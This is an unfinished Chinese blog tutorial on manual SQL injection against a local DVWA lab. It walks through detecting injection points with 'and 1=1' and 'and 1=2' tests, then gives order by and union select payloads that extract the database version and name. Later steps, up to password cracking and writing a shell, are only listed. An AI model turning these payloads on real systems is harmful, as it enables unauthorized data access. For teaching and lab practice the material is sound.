浅析SQL注入
注入点判断
get
整数型
提交url为
http://127.0.0.1/?id=1
假设表名为dvwa,则sql语句为
select * from dvwa where id=1
加单引号报错
当提交为下面的url时
http://127.0.0.1/?id=1 and 1=1
sql语句为
select * from dvwa where id=1 and 1=1
逻辑正确且无语法错误所以返回正常而当提交为下面的url时
http://127.0.0.1/?id=1 and 1=2
sql语句为
select * from dvwa where id=1 and 1=2
语法正确,但1=2中逻辑错误,所以会抛出错误
2.字符型
提交url为
http://127.0.0.1/search.php?keyboard=admin
假设表名为dvwa,则sql语句为
select * from dvwa where keyboard='admin'
加单引号不报错
可以看到 keyboard参数的内容会被加上闭合单引号所以当我们提交下面url时
and 1=1
sql语句为
select * from dvwa where keyboard='admin and 1=1'
1=1被放在了闭合单引号里被转换成了字符串并不会被当作逻辑表达式执行
逻辑表达式中也可以比较字符串,所以我们可以构造
http://127.0.0.1/search.php?keyboard=admin' and '1'='1
所以提交上去keyboard参数的内容是 admin' and '1'='1 ,sql语句为
select * from dvwa where keyboard='admin' and '1'='1'
这样'1'='1'就会被执行了,这时语法正确且逻辑正确,再次构造
http://127.0.0.1/search.php?keyboard=admin' 'and '1'='2
则sql语句为
select * from dvwa where keyboard='admin' and '1'='2'
语法正确但逻辑错误,会抛出错误则为字符型注入。
手工注入流程
1.判断注入点类型(上文)
2.猜字段数
order by慢慢猜,超出范围会报错
我这里dvwa有5个字段
3.判断回显位置
查询结果显示在这里, 继续执行
1' union select 1,2,...#
发现select后查询数大于等于3个的时候会报错,也就是说最多有2个回显
4.判断数据库信息
执行
1' union select version(),database()#
顺便查个库名
5.查库名
6.查表名
7.查列名
8.查字段
9.猜解后台口令
10.写shell
时间关系剩下的明天写
本文链接:http://www.my-index.cn/?id=26
版权声明:转载请注明转自“my-index.cn”
上一篇:2. linux基本命令
下一篇:DVWA-CSRF
发表评论
还没有评论,快来说点什么吧~